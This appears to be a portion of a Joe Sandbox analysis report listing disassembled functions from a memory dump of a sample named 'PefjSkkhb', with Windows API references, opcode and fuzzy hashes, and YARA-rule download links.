Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
Instruction ID: d149811a025c2a1e4eea93b44331c280962f5ad7ae49b883b9a665d9e376e14b
Opcode Fuzzy Hash: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
Instruction Fuzzy Hash: 3021D83271878247E765BF29E4403B9B6A4EB80BA4F544235DA6DCB7D5DF2CE800CB50

Function 00007FF7C0ED5B80 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69bddbc63fd99da0361e32bf605d9336e4230c0dde7f0018513f1afea8dd74fd
Instruction ID: 8d6399a5151421da45c96b3eb006a9c00a5b7b29603a88004892ac5e4f777c52
Opcode Fuzzy Hash: 69bddbc63fd99da0361e32bf605d9336e4230c0dde7f0018513f1afea8dd74fd
Instruction Fuzzy Hash: 0F112B27659B4581EB44BF16D49036DA360EB84FE4F985132DA1E873A1CF3CE490C390

Function 00007FF7C0E90414 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
Instruction ID: ade4d3dedd3efc10160cb9d12b6a53d2e8d61adb1898d910b6a014e37566d6fc
Opcode Fuzzy Hash: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
Instruction Fuzzy Hash: 0A118F7294C6868AEA15BF54D4402ADF761EB80774FD04232E65D8A3E6CFBCF004CBA0

Function 00007FF7C0E848EC Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E84909

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
Instruction ID: 875fd62964934891a2243ea7cd382f84173997bc2b734ceae9e07058d9a0393c
Opcode Fuzzy Hash: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
Instruction Fuzzy Hash: 84018F61E8828741FE24BEAE941137A92509F95774FA51330EA2DCA3D3CF2CF84183A0

Function 00007FF7C0E84970 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E84999

Part of subcall function 00007FF7C0E848EC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E84909

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
Instruction ID: a3b2e24ba6cf47a5f5edc993bb7239a71dca16d02c99b7173a448bbbbf59b00a
Opcode Fuzzy Hash: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
Instruction Fuzzy Hash: 43F09021A8C28342E929BF6DA44117AA394AF81774FA41330E95EC63C6CF2CF44187A1

Function 00007FF7C0E5652C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E84970: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E84999

FreeLibrary.KERNEL32(?,?,?,00007FF7C0E9C8FE), ref: 00007FF7C0E5656F

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: FreeLibrary_invalid_parameter_noinfo
String ID:
API String ID: 3938577545-0
Opcode ID: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
Instruction ID: 0c45ad8b0f11aaf7728efa05fe95e3e330d16bb63b7900d2dc387a828ddf6394
Opcode Fuzzy Hash: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
Instruction Fuzzy Hash: 24F03A52A89A0582EF19FF65C0553386364BB58F58F940930DA0E8A389EF6CE49483A1

Function 00007FF7C0E74C68 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7C0E74C5C

Part of subcall function 00007FF7C0E75600: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7C0E75609
Part of subcall function 00007FF7C0E75600: _CxxThrowException.LIBVCRUNTIME ref: 00007FF7C0E7561A

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Concurrency::cancel_current_taskExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 1680350287-0
Opcode ID: 7d825c203f33d876e0f9772e5deb8c91ddec8345425eda6b56f6c61ae83936be
Instruction ID: 068e152234954b9679af13af992adb6e3e200840e252821551866ca7f8649543
Opcode Fuzzy Hash: 7d825c203f33d876e0f9772e5deb8c91ddec8345425eda6b56f6c61ae83936be
Instruction Fuzzy Hash: 5CE09291E9A50B45F96ABDA9254A078D1400F59370EE81B30D93DC53D2AF5CB45191B1

Function 00007FF7C0ECB334 Relevance: 1.5, APIs: 1, Instructions: 21fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 00007FF7C0ECB365

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: a0a1439e265e291f150910246ad1a366446c83d0ba354e2dc0beef75c9ab4ebe
Instruction ID: 0237085101800138515761ced6d9a282961338840e8e539b1feec7f0927c727b
Opcode Fuzzy Hash: a0a1439e265e291f150910246ad1a366446c83d0ba354e2dc0beef75c9ab4ebe
Instruction Fuzzy Hash: A1E03922608B9182D720DF06F44031AE370FB89BD8F944525EF8C47B19CF7DD5918B80

Function 00007FF7C0E53EB4 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE ref: 00007FF7C0E53ED8

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
Instruction ID: 2fd37efcee1de11847a39e6b196684850436631e6f82de3dfca8b6c3f861fecc
Opcode Fuzzy Hash: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
Instruction Fuzzy Hash: 55E09222B0864581D721EB26E644399A362BB8CBD4F444031EE8C8375ACE6CD6C48A10

Function 00007FF7C0E55D88 Relevance: 1.5, APIs: 1, Instructions: 19windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32 ref: 00007FF7C0E55DDE

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
Instruction ID: 6c4865ea24dc54b983eed03bcdf8f01047dc35f434071ff2cbe105288978df72
Opcode Fuzzy Hash: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
Instruction Fuzzy Hash: 73F05E2291DB8187E361AF94E404365BAA4F78471CF840035D58D86396CF3CE345CB90

Function 00007FF7C0E51080 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E57920: RegOpenKeyExW.KERNELBASE(?,?,?,00007FF7C0E5109E), ref: 00007FF7C0E57A75

_onexit.LIBCMT ref: 00007FF7C0E74F10

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Open_onexit
String ID:
API String ID: 3030063568-0
Opcode ID: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
Instruction ID: effb9e907d24766f40bedd6fe77a596b735de9e8c84168a699c8f6bcf7e76740
Opcode Fuzzy Hash: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
Instruction Fuzzy Hash: 83E0ECA0F9A94B80EA18BFA9A8894749390AF95325FC45536C40DC6365DF2CF2A58760

Function 00007FF7C0E510E8 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E71D80: GetVersionExW.KERNEL32 ref: 00007FF7C0E71DC8
Part of subcall function 00007FF7C0E71D80: GetCurrentProcess.KERNEL32 ref: 00007FF7C0E71F42
Part of subcall function 00007FF7C0E71D80: IsWow64Process.KERNEL32 ref: 00007FF7C0E71F52

_onexit.LIBCMT ref: 00007FF7C0E74F10

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Process$CurrentVersionWow64_onexit
String ID:
API String ID: 2932345936-0
Opcode ID: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
Instruction ID: d28a992aa538f078f3f17e2d551903aa5649457f52903791227736d613937c16
Opcode Fuzzy Hash: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
Instruction Fuzzy Hash: C5C01210FE944B80E61C7FBD488A0F841905FE5320FD0017AC10DC0392DF0C71E64A71

Function 00007FF7C0E51064 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00007FF7C0E74F10

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
Instruction ID: af8827cc3d4e087db21005b8baee8756ed4b562079a2bd89da6c42b8a99c8937
Opcode Fuzzy Hash: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
Instruction Fuzzy Hash: 22C01211FEA84B80E51C7FBE5C8B0B841905FA9320FD0057AC10DC0392CF1C72E64A71

Function 00007FF7C0E51048 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00007FF7C0E74F10

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
Instruction ID: 12390106a2555f8d0a40041deddf06a81a11577f5dd98600a24f8ff9d9ae0534
Opcode Fuzzy Hash: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
Instruction Fuzzy Hash: EFC01210FD984B80E51C7FBE588A0B841905FA9330FD00936C00DC0392CF0C72E647A1

Function 00007FF7C0ED7E48 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7C0ED7FBE

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: b1ea28e244f60b4af54ff34aaaf102a183879d86c5d4002b95e89690f8712e5a
Instruction ID: 4f6bfc4ec3e9d5a4da633f974ce84b6305ba4a8d194c01e9085aa2c81d9855e3
Opcode Fuzzy Hash: b1ea28e244f60b4af54ff34aaaf102a183879d86c5d4002b95e89690f8712e5a
Instruction Fuzzy Hash: 8E717C22B48A4285EB10FF66D1913FCA360FB44BA4F844532DE5E977A6DF38E545C3A0

Function 00007FF7C0E8C51C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF7C0E8C55A

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
Instruction ID: 589da43be74f1d4b7e677a06cf97617a88dc154069c27324936e6ede6e96a667
Opcode Fuzzy Hash: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
Instruction Fuzzy Hash: 12F0DA91A8D28645FE55BF695905679D2805F46BB0F884730D82EC53D2DF6CF48187B0

Non-executed Functions

Function 00007FF7C0EE56A0 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 476filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00007FF7C0EE570B
DeleteObject.GDI32 ref: 00007FF7C0EE5724
DestroyWindow.USER32 ref: 00007FF7C0EE5738
GetDesktopWindow.USER32 ref: 00007FF7C0EE5758
GetWindowRect.USER32 ref: 00007FF7C0EE5766
SetRect.USER32 ref: 00007FF7C0EE58A7
AdjustWindowRectEx.USER32 ref: 00007FF7C0EE58BA
CreateWindowExW.USER32 ref: 00007FF7C0EE5929
GetClientRect.USER32 ref: 00007FF7C0EE593E
CreateWindowExW.USER32 ref: 00007FF7C0EE59A9
CreateFileW.KERNEL32 ref: 00007FF7C0EE59E6
GetFileSize.KERNEL32 ref: 00007FF7C0EE59FE
GlobalAlloc.KERNEL32 ref: 00007FF7C0EE5A0C
GlobalLock.KERNEL32 ref: 00007FF7C0EE5A18
ReadFile.KERNEL32 ref: 00007FF7C0EE5A33
GlobalUnlock.KERNEL32 ref: 00007FF7C0EE5A3E
CloseHandle.KERNEL32 ref: 00007FF7C0EE5A47
GlobalFree.KERNEL32 ref: 00007FF7C0EE5A54
CreateStreamOnHGlobal.OLE32 ref: 00007FF7C0EE5A68
OleLoadPicture.OLEAUT32 ref: 00007FF7C0EE5A87
GlobalFree.KERNEL32 ref: 00007FF7C0EE5A9A
CopyImage.USER32 ref: 00007FF7C0EE5ACB
SendMessageW.USER32 ref: 00007FF7C0EE5AEE
SetWindowPos.USER32 ref: 00007FF7C0EE5B2A
ShowWindow.USER32 ref: 00007FF7C0EE5DDD

Strings

AutoIt v3, xrefs: 00007FF7C0EE5917
, xrefs: 00007FF7C0EE5B17
DISPLAY, xrefs: 00007FF7C0EE5BA1
static, xrefs: 00007FF7C0EE5969, 00007FF7C0EE5B56

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
Instruction ID: 4ff2d4733e124e00ed024d633dc6eb4a3c9bc2a0841cce7cd01f57e84c43cd0d
Opcode Fuzzy Hash: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
Instruction Fuzzy Hash: 4D22C636A08B4186E714EF25E85456EB7A0FB88BA8F904135DE4EC3B64DF7CE485C750

Function 00007FF7C0EFDB18 Relevance: 51.2, APIs: 28, Strings: 1, Instructions: 462windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32 ref: 00007FF7C0EFDBEA
SendMessageW.USER32 ref: 00007FF7C0EFDC8E
SendMessageW.USER32 ref: 00007FF7C0EFDCAD
SendMessageW.USER32 ref: 00007FF7C0EFDCE6
GetMenuItemInfoW.USER32 ref: 00007FF7C0EFDD10
SetMenuItemInfoW.USER32 ref: 00007FF7C0EFDD70
SetMenuDefaultItem.USER32 ref: 00007FF7C0EFDD86
GetMenuItemInfoW.USER32 ref: 00007FF7C0EFDD96
SetMenuDefaultItem.USER32 ref: 00007FF7C0EFDDB4
DrawMenuBar.USER32 ref: 00007FF7C0EFDDBE
SendMessageW.USER32 ref: 00007FF7C0EFDE57
SendMessageW.USER32 ref: 00007FF7C0EFDE92
GetWindowLongW.USER32 ref: 00007FF7C0EFDEBD
SendMessageW.USER32 ref: 00007FF7C0EFDEFC
SendMessageW.USER32 ref: 00007FF7C0EFDF3F
EnableWindow.USER32 ref: 00007FF7C0EFDFA7
EnableWindow.USER32 ref: 00007FF7C0EFDFBD
ShowWindow.USER32 ref: 00007FF7C0EFE03E
ShowWindow.USER32 ref: 00007FF7C0EFE051
EnableWindow.USER32 ref: 00007FF7C0EFE06B
SendMessageW.USER32 ref: 00007FF7C0EFE0A0
SendMessageW.USER32 ref: 00007FF7C0EFE0C4
GetFocus.USER32 ref: 00007FF7C0EFE0CA
MoveWindow.USER32 ref: 00007FF7C0EFE18A
SendMessageW.USER32 ref: 00007FF7C0EFE19F
